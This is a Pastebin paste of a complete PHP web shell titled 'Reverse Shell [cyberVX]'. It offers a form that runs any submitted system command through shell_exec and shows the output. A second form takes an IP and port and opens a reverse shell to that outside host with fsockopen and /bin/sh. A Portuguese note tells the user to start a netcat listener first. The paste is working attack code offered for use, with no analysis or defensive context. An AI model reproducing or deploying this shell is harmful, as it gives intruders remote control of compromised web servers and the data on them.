Advertisement
DarkProgrammer000

Reverse Shell [cyberVX]

Aug 14th, 2021
1,471
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.83 KB | None | 0 0
  1. <html>
  2.  
  3. <head>
  4.     <title> CyberVX </title>
  5. </head>
  6.  
  7. <style>
  8.  
  9.   body
  10.   {
  11.     --background-color: rgb(200,200,200);
  12.     background-color: black;
  13.   }
  14.  
  15.   center
  16.   {
  17.     margin-top: auto;
  18.   }
  19.  
  20.   h1
  21.   {
  22.     color:red;
  23.   }
  24.  
  25.   h2
  26.   {
  27.     margin-bottom: 3%;
  28.     color:gold;
  29.   }
  30.  
  31.   p
  32.   {
  33.     margin-top: 3%;
  34.     color: white;
  35.   }
  36.  
  37.   #insert
  38.   {
  39.     margin-top: 100%;
  40.     color: green;
  41.   }
  42.  
  43. </style>
  44.  
  45. <!-- Corpo -->
  46. <body>
  47.   <form action="<?php $link = (isset($_SERVER['HTTPS']) ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]"; echo "{$link}"?>" method="POST">
  48.  
  49.   <center>
  50.     <h1> <b> CyberVX </b> </h1> </br>
  51.     <h2> <b> Reverse SHELL </b> </h2>
  52.  
  53.     <strong id="insert"> COMMAND: </strong>
  54.     <input type="text" name="cmd" value=""/>
  55.     <input type="submit" name="submit" value="CMD" /> </br></br>
  56.  
  57.     <h2> <b> Local File Inclusion </b> </h2>
  58.     <p> <b> <i> *NOTE : </b> Antes de acionar a SHELL, use o netcat (nc -lvp "PORTA") </i> </p> </br>
  59.  
  60.     <strong id="insert"> IP : </strong>
  61.     <input type="text" name="ip" value=""/> &nbsp; <strong id="insert"> PORT : </strong> <input type="text" name="port" value=""/>
  62.     <input type="submit" name="submit" value="R SHELL" />
  63.   </center> <br />
  64.  
  65.   <?php
  66.  
  67.     # Comandos linux
  68.    if(isset($_POST["cmd"]))
  69.     {
  70.       $cmd=$_POST["cmd"];
  71.       $output = shell_exec("{$cmd} 2>&1");
  72.  
  73.       echo $cmd."<font color=red> </br>"."<pre>".$output."</pre>";
  74.     }
  75.  
  76.     # Comandos: Shell reversa
  77.    if (isset($_POST["ip"]) && isset($_POST["port"]))
  78.     {
  79.       $sock="sock";
  80.       $cmd = "php -r '$"."{$sock}"."=fsockopen("."\"{$_POST["ip"]}\"".","."{$_POST["port"]}".");shell_exec(\""."/bin/sh -i <&3 >&3 2>&3"."\");'";
  81.  
  82.       if (strlen($cmd)>66)
  83.       {
  84.         shell_exec("{$cmd} 2>&1");
  85.       }
  86.     }
  87.   ?>
  88.  
  89. </body>
  90.  
  91. </html>
  92.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement